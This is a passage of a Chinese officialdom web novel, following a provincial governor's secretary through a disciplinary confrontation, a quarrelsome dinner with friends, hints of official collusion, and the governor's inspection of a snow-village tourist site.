孟良德怒拍办公桌,指着赵金福厉声质问。 在他的一拍之下,桌子上的笔和水杯都颤动起来。 被问及这件事,赵金福下意识地看了李承一眼。 “我那是跟李秘书开的玩笑。”赵金福鼓起勇气,说。 李承就站在旁边,他想狡辩不认账是不可能的。 就算他不承认,孟良德也不会信他。 “玩笑已经到了用公检法作为威胁的地步了吗?赵金福,看来这种玩笑,你平时没少跟别人开吧?” 孟良德每一句话都逼得赵金福无言以对。 让他背脊发凉。 “我没有。”赵金福摇头否认。 “身为检察院的党组副书记,你非但没有维护公检法部门的权威,还以此作为恐吓他人的手段。 居然威胁到了我秘书的头上,赵金福,你很有胆量啊。” 孟良德怒视着赵金福,眼神杀气腾腾。 他敢威胁李承,就是不把孟良德放在眼里,这是对省长的一种挑衅。 如果赵金福不能受到处罚,孟良德省长身份的威严何在? 面对孟良德的呵斥,赵金福知道任何解释都是苍白无力的,索性低着脑袋,不做任何回答。 “检察院和组织部我会打招呼,从今天开始,我要停你的职,把你所有的问题查个清楚。” 孟良德十分严厉,不留任何情面。 这番话摆明就是告诉赵金福,孟良德准备动他。 闻言,李承在赵金福的脸上明显看到了惊慌忐忑之色,他半张开嘴,似乎还想要辩解什么。 可迎接他的,是孟良德冷漠的逐客令:“出去!” ‘吱’ 就在这时,孟良德办公室的门被推开。 “孟省长,谁惹你发这么大的脾气。” 杨兆华走了进来,他看了赵金福一眼便知道是怎么回事,但还是笑呵呵地明知故问。 “杨秘书长。” 见杨兆华进门,赵金福像是看到了救星,跟他低声打招呼。 杨兆华担任市委副书记时,跟赵金福有一定的交情,他希望杨兆华能帮他说句话,这样,或许孟良德会卖杨兆华一个面子,放他一马。 “还能有谁!” 孟良德冷冷地瞥了赵金福一眼,说。 “是因为李秘书吧。” 杨兆华露出一副老好人的笑容,劝道:“赵副书记也是想帮弟弟,人之常情,也没有造成太恶劣的影响。 他这个人我还是了解的,对工作认真负责,也是一时的头昏脑热了。” 闻言,李承很是意外。 他们两人虽有交情,但也不至于让杨兆华顶着孟良德的怒火去为赵金福开脱呀。 他明明知道,孟良德对此事的愤怒程度,还在这时候劝,很容易引火烧身。 难道....他们之间有利益关系? 李承不敢深想下去。 听到杨兆华为自己求情,赵金福对他投去一个感激的眼神。 可对此,孟良德压根没有给杨兆华半点面子。 “用司法权力去威胁,这叫人之常情?杨秘书长,我看你才是头昏脑热!”孟良德将怒火转移到杨兆华身上,严厉呵斥。 被训斥了一句,杨兆华无奈地与赵金福对视一眼,没再多言。 赵金福几乎是被赶了出去,连带杨兆华也被训斥了一顿。 一直到赵金福离开,孟良德对杨兆华的训斥还不止。 ..... 孟良德下去视察的时间已经定下来,一月十号到一月二十五号,为期半个月。 主要考察方向以经济发展为主。 这段时间,省政府也开始为孟良德的视察计划做准备。 规划视察地点,每个城市的停留时间,随访出行的人数,以及通知下属地级市做接待工作等等。 为此,也准备了足足将近半个月。 最终敲定除安保,医疗,秘书等固定陪同人员外,省政府秘书长杨兆华,以及分管商务厅和工信厅的副省长谢威也在随访名单中。 关于赵金福的问题,省里也给出了处分。 非法采矿一事,赵金来咬死是自己所为,赵金福并不知情,两个人的利益往来数额也很小,都是亲人之间的正常往来。 所以,在采矿事件上,无法确定赵金福的利益捆绑。 给他的处分,也都是因为一些举报的小问题。 省委方面还有人替赵金福讲话,所以最终只给到赵金福记过处分,以及撤销其兼任的副检察长职位。 从此次事件的层面上讲,已经宣告结束。 但从赵金福的个人层面上,孟良德并未打算作罢,只是碍于其他公务在身,以及东江省的政治格局等多方面考量,将此事暂缓而已。 ‘滴’ 这天下午,李承正在给综合一处开会,吩咐每位随行视察人员的工作职责,以及重点时,手机的微信响亮。 他没有去看,直到这场会议结束,宣布散会后,这才拿起手机。 【晚上有时间吗?喝点?】这条微信是汪浩轩发来的。 【刚开完会,不喝了,省长下周一要去各地视察工作,这两天比较忙。】李承婉拒道。 明天是周末,关于孟良德此次出行问题已经安排妥当。 拒绝他,只是上次喝酒的体验感非常不好,李承怕他再提合作的事,影响心情也影响感情。 【那明天怎么样?明天是周六,要不就周天,你总不可能不休息吧?】汪浩轩坚持道。 上学时他就是这个性格,不达目的不罢休。 李承看着手机屏幕,也有些为难。 【放心,我不跟你提合作的事,就是单纯的叙旧,我生意上的事情已经找到门路了。】 正当李承还在思考怎么拒绝他时,汪浩轩又发来了一条信息,打消了李承的疑虑。 【这样吧,晚上你等我消息,省长那边没有安排我就去找你。】李承回复。 明后天李承要陪许梦,他不想让汪浩轩耽误他和许梦的二人时光。 今晚最合适。 但刚才又说自己工作忙,总不能一口答应,只好拖延一会儿再给他准确答复。 【那我定饭店,多晚都等你。】汪浩轩回道。 【行,那你定完给我发位置吧,忙完我就过去。】 第124章 吵架 晚上六点半。 李承赶到牡丹会饭店。 “大忙人来了。” 进入包厢,汪浩轩冲李承挥了挥手,招呼道。 “哎呦,你俩又凑一起了。” 包厢内,除了汪浩轩之外,还有他的老相好柳思瑶。 看到这俩人,李承不禁调侃起来:“柳思瑶,你不是要二婚了吗?不怕男朋友知道呀。” “切,我说啥你就信呀,上次是跟你开玩笑的。”柳思瑶‘切’了一声,道。 “我都把份子钱给你准备好了,看来又省一笔。”李承笑呵呵地说。 “这笔钱你是省不下来了,我怀宝宝了。” 柳思瑶摸了摸自己的肚子,得意扬扬地说。 “啊?” 听到这个消息,李承颇感诧异,目光看向了汪浩轩:“你的?” “嗯。” 汪浩轩点了点头,表情认真。 “我靠,你俩可以呀。”李承惊讶。 看到李承这副表情,两个人突然同时大笑起来:“哈哈哈...” “又耍我。” 听到两个人的笑声,李承知道自己被骗了。 “李承,你给省长当秘书,也这么容易被骗吗?哈哈哈。”柳思瑶笑盈盈地调侃道。 “唉...” 对此,李承长叹一口气:“你俩凑到一起,还是跟小时候一个德行。” 玩笑时,气氛渐渐轻松下来,三个人开始吃饭,喝酒。 聊聊大学时期的趣事,说说感情上的问题。 尤其是柳思瑶,那张嘴像机关枪一样滔滔不绝,说起话来,又像淬了毒,专挑李承不想提起的事情。 这些事情,自然就是关于秦虹。 说什么很可惜,大学时她最看好的一对情侣就是李承和秦虹,说什么秦虹家里逼她分手后,秦虹有一段时间都抑郁了,等等... 这些话难免让李承想起一些过往。 如果两个人是因为三观不合,感情有别扭,或者是某一方变心而分开,都不会如此难过。 但这种明明互相喜欢,奔着结婚而努力,却被强行拆散的感情,才最让人意难平。 可柳思瑶却很没有眼力见,依旧抓着这件事说个不停。 就连本来跟着柳思瑶一起调侃李承的汪浩轩都看不过去了,开口说:“人各有命,承哥没跟秦虹也是有福气,这才找了许梦。 不是我说话难听啊,许梦可真是各方面都比秦虹出色,而且还没有事多的妈。” 听到汪浩轩贬低自己的好闺蜜,柳思瑶也不乐意了:“秦虹怎么比许梦差了?她可是从李承一无所有的时候就陪在李承身边的。 李承要不是省长秘书,许梦会跟他在一起吗?” 这句话,听着刺耳,却说在了关键。 是呀。 如果李承一无所有,许梦会看上自己吗? 他跟许梦几年前就加上了微信,可一直没有联系,直到李承坐上了省长秘书,才开启了交往。 “还有啊,咱也别说秦虹妈妈不好,人家也是为女儿着想,如果那时候李承就是省长秘书,她妈妈得给李承当祖宗供着。”柳思瑶继续反驳说。 句句说的也都是事实。 “那是她妈狗眼看人低,还有,我都不惜地说,秦虹要是真想跟李承结婚,就算家里人反对又能怎么样? 大不了两个人私奔,或者以死相逼呗,要我说,秦虹那时候也有分手的想法,你不用给她说得那么可怜。” 汪浩轩喝掉杯中的酒,点燃一根香烟,语气不屑地反驳道。 “汪浩轩,你这个真有意思,百善孝为先,人家父母给她抚养长大,家里人的感受就能不考虑吗? 做人别太自私了!” 柳思瑶也拿起一根香烟点燃,反驳的最后一句话,有些讽刺的意味。 像是在说汪浩轩自私。 毕竟,汪浩轩当年就是为了他自己,毫不犹豫地把柳思瑶抛弃。 “人不为己天诛地灭,什么叫自私?为了别人把自己的生活搭进去,就不叫自私了呗?” 汪浩轩也是寸步不让。 两个人各持己见,吵得不可开交。 “行了,我也有自己的新生活了,都过去了。”李承打断两人,不想再继续这个话题。 他是真怕一会儿两个人打起来。 “你就是自私,极其自私!” 可柳思瑶似乎并不准备作罢,对汪浩轩继续输出。 她爱汪浩轩,可这份爱是她委屈自己换来的,她有一肚子的委屈。 “我怎么自私了?”汪浩轩反驳道。 “你对我不自私吗?我这么爱你,你怎么对我的?”柳思瑶愤愤不平。 “那是你自己愿意。” 汪浩轩弹了弹烟灰,很随意地丢下这句话。 “王八蛋!” 正当他准备再吸一口烟时,柳思瑶端起酒杯,杯中酒水直接泼在汪浩轩的脸上,也将那根香烟熄灭。 “你是不是疯了?” 汪浩轩丢掉香烟,抹了一把脸上的酒水,怒道。 “对,我就是疯了才会爱上你这种浑蛋。” 说完,柳思瑶穿上自己的衣服,离开了包厢。 李承目睹了这一幕,眉头也是紧皱的,原本还算欢乐的气氛,居然闹成这种情况。 但对此,李承也是见怪不怪。 他们两个上学时就这样,李承推测,用不了多久这对冤家就会和好。 “神经病呀她。” 看着刘思瑶离开,汪浩轩抽出一张纸巾擦了擦身上的酒,嘀咕道。 “你才神经病!” 这时,柳思瑶又折返了回来,再次骂了汪浩轩一句后,才彻底扬长而去。 “我去洗一把脸。” 汪浩轩站起身,无奈地叹了一口气,朝卫生间走去。 “嗯,我也上个厕所,咱们就走吧。”李承也起身,跟着汪浩轩一同走出包厢。 这场饭局注定是不欢而散。 “来,杨哥,这杯酒我敬你,别的不说,就敬你讲义气。” 路过一个包厢时,李承隐隐约约听到了赵金福的声音。 这不禁让李承放慢了脚步。 “我也没帮上什么忙。” 回应他的声音,李承再熟悉不过。 自己的老领导,现任省政府秘书长杨兆华! “就凭你敢在老孟的面前替我求情,我就欠你一份天大的人情。”赵金福说。 “喝酒不隔人,我陪一杯。” 第125章 猜疑 “喝酒不隔人,我陪一杯。” 这是一道女人的笑声,声音温柔中带着些许魅惑之意。 这道声音李承同样耳熟,花海集团董事长,李美娇! 赵金福、杨兆华、李美娇,这三个人聚在一个饭桌上,谈论的还是杨兆华替赵金福求情之事..... 难不成杨兆华跟他们真的有利益往来? 省政府刚走了一个秦海,又被他们插进来一个杨兆华? 而杨兆华,还是深受孟良德信任的老同学。 李承不相信这个结果。 可事实就摆在自己面前,虽没有直接依据,但又不能不防呀。 如果杨兆华真的跟那群人同流合污,孟良德的处境会很不好。 李承脸色凝重,整个人也陷入了深深的焦虑中。 “怎么了?” 汪浩轩看李承没有跟上来,疑惑地问。 “没什么,就是在想你和柳思瑶闹别扭是因为我。”李承随便找了个借口敷衍道。 “小事,过不了今晚,我们俩就会和好。”汪浩轩摆了摆手,压根没把此事放在心上。 上完厕所,两个人离开了饭店。 汪浩轩还想拉着李承喝第二场,被李承拒绝了。 许梦快要下班了,他得去接许梦。 调侃了一句李承以后绝对是妻管严后,两个人分开。 坐在出租车上,李承满脑子都是关于杨兆华跟李美娇等人的关系。 他在想,这件事要不要跟孟良德说。 一位是自己的老领导,一位是自己的现任领导,两个人对他都很不错,也都是他的伯乐。 尤其是杨兆华。 若是当初没有杨兆华的推举,李承也当不成孟良德的秘书,一飞冲天。 换做是其他人,李承一定会告知孟良德,让他小心防备。 可那个人是杨兆华呀。 人总归是有感情,李承也不可能不念旧情。 况且,除了他在门外听到的这点消息,也没什么实际证据。 想来想去,李承还是决定不声张,就当自己没有听见过。 “怎么一副不高兴呀,你那个老同学是不是有提那件事了?” 许梦从省电视台走出来,看着李承那副凝重的表情,询问道。 “没有,今天半点跟工作相关的事情都没提。” 李承为汪浩轩辩解了一句,但他也不能将偷听到杨兆华和李美娇在一起吃饭的事情告诉许梦,索性就换了个借口:“刚才饭桌上,汪浩轩跟柳思瑶吵起来了,挺不愉快的。” “奥,这样呀。” 许梦挽起李承的胳膊:“不管他们,我们好好的就行。” “嗯。” 开着车,两个人回到了家。 洗漱后,李承躺在床上,随意地刷起短视频。 “老公....” 许梦在他耳边轻轻吹了一口气,白皙的小手顺着李承的胸膛慢慢向下抚摸。 李承望着许梦那张媚态百出的脸,顿时一股浴火燃烧。 他将许梦抱在怀里,激情的索吻。 手也不老实地在她嫩滑的皮肤上抚摸。 当摸到关键处时,动作停了下来。 “嘿嘿嘿....” 许梦则调皮地笑出了声音。 “你故意的。”李承无奈地收回了手。 “哈哈哈,要让你失望了。”许梦耸了耸肩,说。 “你亲戚来的真不是时候。”李承说。 “那怎么办,我又控制不了它。” 许梦温柔一笑,轻轻吻了一下李承的耳垂,说:“要不我用这里帮你...” 话音落下,她轻轻舔了一下李承的耳朵。 李承心情荡漾,自然是愿意的。 ‘噔噔...’ 正在李承准备答应时,手机微信响了起来。 拿起手机,是汪浩轩打来的视频电话。 “这家伙,没有眼力见。” 李承叹了口气,接起电话:“怎么了?” “这是要睡了呀?我没耽误你的好事吧?”电话那边,汪浩轩也躺在床上,满面春光地说。 “没耽误。”李承无奈地说。 “你看李承那表情,就是耽误了。”视频那边,柳思瑶的声音也传了过来。 “我靠,你俩这么快就和好了。” 李承没想到他俩和好得这么快,而且还在床上。 “都说了,这是小事。” 汪浩轩挪动镜头,照向柳思瑶。 柳思瑶见镜头转过来,连忙拉起了被子。 她挡得很及时,李承没有看到什么。 “你虎呀,我没穿衣服。”柳思瑶抱怨。 “忘了,哈哈哈。” 汪浩轩尴尬一笑,对李承说:“没什么事,就告诉你一声,我俩和好了,不用担心。” “我本来也没担心。”李承直接说出了自己的心里话。 “哼哼,不够意思。” 汪浩轩轻哼两声:“行啦,不耽误你的好事了。” 说完,他挂断了电话。 “你看到别的女人不穿衣服了?”许梦阴恻恻地问,醋意十足。 “没有,没看到。”李承摇头。 “看到你也不会说。” 许梦躺进被窝,把头扭到一边。 “真没看见,她哪有我宝宝半点好看,给我看我都不看。”李承从后面抱住许梦,哄她说。 “这还差不多。” 许梦转过身,抱住李承,问:“你这次出差要去几天?” “大概要半个月吧。”李承说。 “这么久呀,我想你怎么办?”许梦有些不高兴。 两个人正在热恋期,如胶似漆,本来见面时间就少,根本不想分开。 “想我就跟我打视频呗。”李承说。 “视频能一样吗?抱不到也亲不到的,只会让我更想你。”许梦撒娇着说。 “我有一计。”李承玩味一笑,说。 “什么计?” “我们这半个月都不联系,这样你看不见我,也听不到的声音,就不会那么想我了。”李承说出了自己的玩笑。 “嗯,我觉得是一个好主意,前男朋友。”许梦表情认真地点了点头。 听到前男友四个字,李承玩笑的表情收敛,尴尬地说:“我开玩笑的,我也会很想你呀,这不是工作需要嘛。” “忙你的工作吧,工作最重要,陌生人。”许梦表情依旧严肃。 可她的心里却是窃喜的,尤其是看到李承有些惊慌的样子,心里更是乐开了花。 她就是想让李承哄他,这是女孩的特性。 “什么陌生人,不好听,叫老公。” “我认识你吗?你就让我叫你老公,太冒昧了吧。” 第126章 视察 周一。 李承早早来到迎宾馆,敲响了房间的门。 往常,李承为了不打扰领导,会等候在门口,今天不同。 今天要去地方视察,他得帮孟良德拿行李。 房门打开,阿娇冲李承微微一笑:“李秘书,早。” “早。” 李承微笑点头,问:“省长呢?” “省长在客厅。”阿娇让开门口,说。 李承询问是想确认孟良德有没有洗漱完毕,不敢贸然打扰。 尽管他知道按照孟良德的作息习惯,尤其今天要下去视察工作,肯定已经整装待发,但还是要确认一下。 “嗯。” 李承走进客厅,打了招呼:“老板。” “嗯,来了。” 孟良德应了一声,将手机屏幕熄灭:“吃早饭了吗?” “吃过了。” 许梦特意早早起床,给李承准备了丰盛的早餐。 “这是省长的行李,我已经收拾好了,一共带了五套衣服,袜子和换洗的内裤在分别在两侧的小整理袋里。” 阿娇拖着皮箱,递到了李承面前。 阿娇是照顾孟良德生活起居的保姆,二十七八岁的年纪,长相清纯甜美,说起话来温温柔柔的,是位南方姑娘。 第一次见面时,李承就曾想过,省长身边藏着个大美人,晚上会不会耽误休息。 但随着对孟良德的深入了解,李承认为他们两个人一定是清清白白的。 孟良德是一个顾家的男人,基本隔一周就会飞回一趟京城,他的夫人偶尔也会过来看他,两个人感情很好。 而且,孟良德行事谨慎,这种色他不会碰。 “好的。” 李承接过行李,跟孟良德一同走进了食堂。 陪孟良德吃过早餐,视察车队已经等候在门口。 这次出行的规模人数很多,为了响应节约政策,并没有做省长专车。 由一台警车开路,后方是两台考斯特。 省长,副省长,秘书长,专职秘书等一些核心层坐一台。 文秘,医疗等陪同人员,坐在另一台。 视察的第一站是封兰市。 这次视察的主要地点是雪村,对于是否对雪村扩建的问题,孟良德是犹豫的。 所以,他要亲自去现场勘察情况,再做决定。 上了车,孟良德一直在闭目养神。 孟良德会一种特殊本领,这种本领,很多人都听说过,或许也曾尝试过,但绝大多数人都没实际地运用过。 那就是冥想。 冥想是一种调整注意力来放松身心的休息方式,可以让人在短暂的时间里,进行超越休眠的精力恢复。 无论是长途跋涉,还是短距离车程,孟良德都会冥想,以此让自己在投入工作时,能保证最精神抖擞的状态。 但李承却没有这种本事。 即便有困意,他也只能硬熬,不让自己睡觉。 身为专职秘书,他要随时应对可能发生的问题,做出调整或汇报,不能错过任何一条关于工作的消息。 除此之外,他要保持秘书的形象。 万一睡着了,打起了呼噜,也会打扰省长,和其他几位领导的休息,造成不好的形象。 因为孟良德在休息,车厢里格外安静。 “到哪了?” 孟良德睁开眼睛,看着前方的道路,问。 “已经进入封兰地界,还有十公里左右进市区。”李承家就在封兰,对于这条路很熟悉。 “直接去雪村。”孟良德吩咐道。 “好的。” 李承拿起对讲机,将孟良德的行程改变通知了下去。 引路的头车要改变路线,其余车上的随行人员也要根据行程的变化,从而做出工作调整。 原定计划,孟良德的第一站要去封兰市,次日再前往雪村。 孟良德突然改变行程,也将打乱原有的工作安排,文秘人员要重新调整规划。 在来之前,孟良德通知过,不允许各地政府到高速口迎接。 这对当地领导也是难题。 因为他们拿不准孟良德的真实想法,如果只是一个客套,真的不迎接,反而容易引起省长的不满。 但自古有句老话说,礼多人不怪。 所以李承推测,这个时间,封兰市委市政府的迎接车队应该已经在高速口等待了。 不过,既然孟良德通知过不许迎接,李承也就不准备将省长改变行程的事情告知封兰的领导班子。 他们愿意等,就让他们等吧。 省长突然改变路线,也有省长的考虑,说不定就是为了一个出其不意呢。 将近两个小时后,车队临近雪村,在途经南林村时,孟良德下令停车:“停车。” 汽车停稳后,车门打开,孟良德,李承等人下了车。 南林村是距离雪村最近的村庄。 也是封兰市提议扩建雪村的重点对象。 相比于已经完全成熟的雪村,对南林村的考察也格外重要。 南林村内,同样聚集了不少的外地游客。 因为雪村内的住宿昂贵,很多游客会选择在南林村住宿,虽说,这样体验感会下降很多,好在价格划算。 “谢威同志,兆华同志,你们和其他同志四处转转。” 孟良德点燃了一根香烟,对副省长谢威和杨兆华交代道。 “行。” 谢威和杨兆华清楚,孟良德让他们四处转转,是为了分开考察,节省时间。两个人点头后,一行人便分开了。 投资扩建雪村是件大事,如果按照封兰市给出的扩建计划,投资金额要在五亿之上。 这么大一笔投资,综合考察的标准就很多。 作为省长的专职秘书,李承自然要跟在孟良德的身边。 两人走进一家民宿,李承主动询问:“老板,你们这里还有没有房间?” “有。” 店老板是一位中年妇女,磕着瓜子,看着手机,头也不抬地说。 “多少钱一晚?”李承问。 “旁边那不是贴着价格表吗?自己看。”中年妇女道。 李承看了一眼,最便宜的小房间也要三百块钱,好一点的要一千块。 这价格,比市里的大酒店还要贵。 “这个价格有点贵,还能不能便宜?”孟良德也觉得贵,开口询问。 “嫌贵你就去别地方转转,我就这价,你不住有的是人住。”中年妇女不耐烦地摆了摆手,满脸嫌弃。 第127章 态度 “你什么态度,有你这么做生意的吗?” 中年妇女的态度很差,怼的人还是省长,作为专职秘书,当然要站出来反驳。 “我这态度怎么了,没钱你出来玩什么,穷鬼。”中年妇女蛮横地说。 “你....” “算了。” 李承还要回怼,被孟良德打断,两个人离开了这家民宿。 “穿得溜光水滑的,一大把年纪住个店还讲价,也不嫌磕碜。” 两个人出了门,中年妇女还喋喋不休。 接下来,李承和孟良德又走访了几个店铺,只要谈及价格,态度都跟这位中年妇女差不多。 只有一家的态度还算不错。 但作为服务行业,态度好,反而在这个南林村成为了稀缺。 “就这些人的态度,能有回头客就怪了。”李承愤愤不平地说。 “管理欠缺,领导层的问题。”孟良德很客观地说。 开店的这些民宿老板,都是本地村民,本身文化程度有限,也没有系统的培训过。 如果是淡季,他们会热情地招待客人。 但现在是旺季,借助雪村的流量,他们并不缺少客户,也就本性暴露,有恃无恐。 总体而言,这些人的态度还是管理不到位所致。 这种风气如果得不到整治,就会伤了很多游客的心。 大家出来花钱是为了开心,而不是看他们的脸色,很容易因为一颗老鼠屎坏了一锅粥,导致景区回头客下滑。 在南林村考察一圈后,孟良德等人正准备前往雪村时,几台奥迪A6L汽车赶了过来。 停在了考斯特的后面。 随后,封兰市是四套班子领导,纷纷下了车,小跑朝着孟良德跑来。 所谓的四套班子,就是一座城市的权力体系核心,分别为,市委,市政府,市人大和市政协。 “省长,后面的车,好像是封兰市的专车。” 他们到来时,孟良德已经上了车,李承在从面上车,看到了这些人,向孟良德做出汇报。 “他们追来的速度很快嘛。” 孟良德笑了笑,并没有要求开车。 很快,四套班子的领导匆匆赶到车外,但并没有人贸然上车。 “让于翔同志上车。”孟良德吩咐道。 “好的。” 李承点头,转身下了车。 “李秘书。” 见李承下车,几个人向李承主动打了招呼。 作为省政府的二号首长,尤其是孟良德就在附近的情况下,这群人会更加重视李承的存在。 这次视察,省长是带着投资意向来的。 能跟李承打好关系,无论是工作进展,还是个人问题,都会顺利很多。 “于书记,省长叫您上车。” 李承并没有跟他们任何人握手,也没有靠近他们,保持一段距离的情况下,将孟良德的指示传达到位。 这种距离的保持,是为了回避不必要的麻烦。 靠近后,难免会要握手。 跟市委书记于翔握了手,李承也要跟曾登门拜访过的市长徐江握手,两位领导都握了手,那就要跟每一位领导都握手。 否则就会让别人觉得李承自傲,没礼貌。 孟良德还是车内等待,李承不可能跟他们一一握手,很耽误时间。 所以,他干脆谁的手也不握,直接转达。 “好。” 于翔应了一声,跟身边的徐江等人低声沟通了一下后,上了考斯特。 他上车后,李承冲几人微微一笑,算是打过招呼后,也上了车。 两人上车后,考斯特的车门关闭。 “孟省长。” 市委书记于翔快步来到孟良德面前,主动伸出手:“我们不知道您的行程有变,来迟了,您见谅。” 他其实早早就在高速路口等待迎接的,但这件事他没有提。 因为孟良德通知过,不许迎接,提起来,反而容易弄巧成拙。 “我特意临时改变路线,就是想单独看看雪村,于翔书记脚步追得很快呀。”孟良德淡淡地说。 “雪村体系很成熟,无论您什么时间来,都是一样的。” 于翔听出孟良德言下之意是想看看真正的雪村,他回答道。 在市领导的陪同下,除非是突访,不然很难看到最真实的一面。 当地领导会提前部署通知,不好的一面会被隐藏,好的一面会极力展示,相当于戴上了面具。 如果孟良德按照行程安排到访,今天这些骄横的店主,也会变得温柔体贴,以此来应付领导视察。 “我看未必。” 孟良德淡淡说完,对于翔说:“你找地方坐下,不要挡着路。” 李承是在于翔后面上车的,过道就那么窄,于翔站在孟良德面前,看似恭恭敬敬,却也挡住了李承的路。 这是领导的视察车,不是公交和城村大客,李承不可能从他的身边挤过去,只能等。 “好。” 于翔点了点头,可他却对座位犯了难。 孟良德身边有一个空位,可他坐在那里,是不是离省长太近了。 可他不坐在那里,就只能坐在后排的空位上,那又太远了。 迟疑了片刻,于翔笑呵呵地坐在孟良德的身边:“我就坐在这里吧,方便为领导讲解工作。” 他坐下后,李承也回到了自己的座位。 考斯特再次驶动,朝着雪村方向开去。 市里的其余领导,在考斯特开走后,这才纷纷回到自己的汽车,跟随车队前行。 这一路上,于翔滔滔不绝地介绍着雪村的发展前景,以及规划。 于翔刚上任封兰市委书记不到半年,他想在自己的任期之内,做一番功绩出来。 如果雪村扩建后经营妥善,他的仕途之路也会迎来一次晋升。 从这一点上,他的想法跟孟良德不谋而合。 如果现在孟良德的任期不足两年,他是压根不会考虑雪村扩建这个冒险工程的。 十几分钟后,汽车驶入雪村。 正常情况下,雪村外有停车场,非内部车辆是不允许进入的。 省里的视察车队,自然无人敢拦。 “孟省长好。” 刚下车,一排人列队欢迎,齐声问好。 这一幕,让孟良德不禁眉头一皱。 李承也将目光望向了市委书记于翔。 这阵仗,不像是视察工作,有种黑道聚会的架势,好像生怕别人不知道省长到来。 第128章 酒 于翔脸上也是大写的尴尬。 他通知孟省长会到,让村里提前准备,是为了通知那些工作人员,把最积极的态度和雪村最好的一面展示出来。 而不是弄这些排场。 “赶紧让他们撤了。” 于翔快步走到村长面前,催促他。 “哦,好好。” 村长看到市委书记脸上的严肃不满,也知道自己会错了意,驱散了那些欢迎人员。 “他们知道省长您要来视察工作,激动得太过热情了。” 于翔打了一个圆场后,向孟良德介绍村长的身份:“孟省长,这位是雪村的村长,兼任雪村旅游文化公司的董事长,王德利同志。” “孟省长您好。” 待到于翔介绍结束,王德利快步到孟良德面前,伸出双手。 “嗯。” 孟良德跟他简单地握了握手,没有多言。 孟省长在,凡事就要以孟良德为主,后面的副省长,秘书长的握手礼仪也就省略过去。 以免耽误时间。 接下来,在村长王德利的带领下,一行人参观了雪村的各个特色景点,和游乐设施。 他们提前知道孟省长会来,对于介绍的说辞也提前做足了功课,背地行云流水。 面对孟良德的提问,也能对答如流,这倒是让孟良德很满意。 雪村有流量的热度加持。 又赶上了假期,外地游客非常多,各个景点都很火热,烟火气十足。 “现在雪村每天最大承载量只能容纳两万名游客,住宿最多可以容纳七千,这个数字,承载量远远不及门票预售量。 所以,我才向市领导提出了扩建的想法,只要能将南林村扩建到雪村范围内,娱乐设施可以增加,住宿问题可以解决。 这样,也能给游客更平价和更多样的游玩条件。” 王德利滔滔不绝地讲述起雪村的前景,以及扩建后的利好。 对此,孟良德没有给出任何回应,只是点头表示自己听见了。 视察后,雪村的招待宴也已经准备好了。 “孟省长,这是我们村自己酿的酒,您尝尝。” 王德利端着一个玻璃酒瓶,就要给孟良德倒酒。 “首长不喝酒。” 李承站起身,替孟良德挡酒。 “那李秘书,您来一杯吧。”王德利说。 他很没有眼力见,孟省长是来视察工作的,视察还没有结束,他就要招待喝酒。 在他劝酒时,李承就察觉到了孟良德的不悦。 “工作时间,我也不喝酒。”李承拒绝。 “德利同志,你这是想要让我们犯错误呀?哈哈哈。”这时,于翔出言,用调侃的方式,打断了王德利的举动。 “啊,呵呵呵,我就想着省长好不容易来我们这一趟,得好好招待。” 王德利会意,打着哈哈,将酒拿下了桌。 大家都不喝酒,也正如他的意。 虽说他是一个无酒不欢的人,可这种三十多块钱一斤的散装酒,他压根瞧不上。 他每顿喝的酒,标准必须是茅台。 但这也不是他吝啬,不舍得给孟良德喝茅台,是不敢。 大家折腾了一天,都饿着肚子,面对一桌子丰盛的特色菜,吃得格外香。 吃过饭。 孟良德召集市里的领导,以及王德利在内,开了一个会。 会议重点就是服务问题。 孟良德提出严格监管,保证服务与质量,尤其提出对南林村的批评,抓成了典范。 还将自己刚才在南林村遭到的白眼和贬低事件拿出来说。 “游客们过来玩,是为了开心,而不是受气,你们在坐地换位思考一下,你们是游客,遇到那样的商家,你们会不会对雪村整体的印象变坏,你们还会再来雪村玩吗? 现在网络舆论的力量可以直接左右一个景区的生存问题,游客把自己的不满和委屈发到平台上去,可能就会让几千上万的意向客户退缩。 对于服务,一定要严管,明白吗?”孟良德严肃地说。 “明白,我一定督促相关部门加强管理。”市长徐江点头答应。 “每户商家的门口,必须贴上市里的举报电话,还有宣传栏,村口,门票上,都要标注,只要群众有反馈,必须第一时间处理。 那些屡教不改的商家,直接让他们停业!” 孟良德提出了自己的要求。 “好的省长。” 讲述完服务问题后,孟良德又说出了自己的一些想法,对于雪村现有问题的发现,以及改变方向。 这场会议开了将近两个小时才解决。 结束时,已经是晚上七点多。 今晚,他们一行人就要留宿在雪村。 雪村作为封兰市的知名景区,有专门招待领导的住处。 放好行李,休息了一会,李承陪同在孟良德身旁,欣赏着雪村晚间的美景。 考察雪村晚间的娱乐项目,也是工作之一。 但工作与欣赏并不冲突。 “怪不得这里每年可以吸引这么多游客,确实很有意境。” 孟良德看着村内来来往往的游客,以及晚间的雪村美景,心生感慨。 月光高照,灯火绚丽,厚厚的白雪堆积在高墙和房檐上,整个村子有一番别样的美感。 “积雪满庭,檐冰倒挂,玻璃几簇霜花。” 被景色吸引,孟良德情不自禁地吟诗一句。 “这是首诗吗?从来没听过。”李承站在一旁,词有意境,但并不像古代诗词。 “你当然没听过,这是我一位老师自己作的词。”孟良德道。 “哦,怪不得呢。”李承点了点头。 “说起来,已经很久没见过他了。” 提到旧人,孟良德眼神闪过一抹相思之色。 “李承。” 就在这时,不远处一道惊疑的女声喊出了李承的名字。 李承闻声看去,认出了此人,赵伟婷。 赵伟婷是李承的初中同学,上学的时候,两个人是同桌,关系不错。 李承上学的时候就是学霸,赵伟婷没少请教她问题。 “老板,我遇到个朋友,过去一下。”李承跟孟良德请示道。 “嗯,你不用陪我,我随便逛逛就行。”孟良德说。 孟良德虽这么说,但李承不能这么做。 他走到赵伟婷面前:“这么多年,没变样呀。” “你倒是变了不少,你也到这里玩的吗?”赵伟婷问。 “我陪领导过来的。”李承解释。 “哦哦,等下一起聚一聚。”赵伟婷邀请道。 “行,等下我忙完去找你。” 第129章 暴发户 陪孟良德在雪村逛了一圈,李承将他送回住处后,联系了赵伟婷。 在得到她的地点后,李承找了过去。 这是一家很有特色的小酒馆。 它的特色,并非雪村主题的北方农村特色,而是西方的圣诞特色。 配合着窗外的雪景,别有一番风味,十分适合打卡拍照。 “方便喝一杯吗?” 赵伟婷坐在李承的对面,脸上挂着一丝淡淡笑容。 “方便。” 孟良德已经回去休息,今天的工作到此结束,喝一杯酒也无所谓。 “威士忌可以吗?”赵伟婷问。 “我去吧。” 李承拿起手机,准备去吧台买单:“你喝什么?” “到我这里来,怎么能用你买单呢?稍等我一下。”赵伟婷说着,起身直接走进了吧台,亲自调酒。 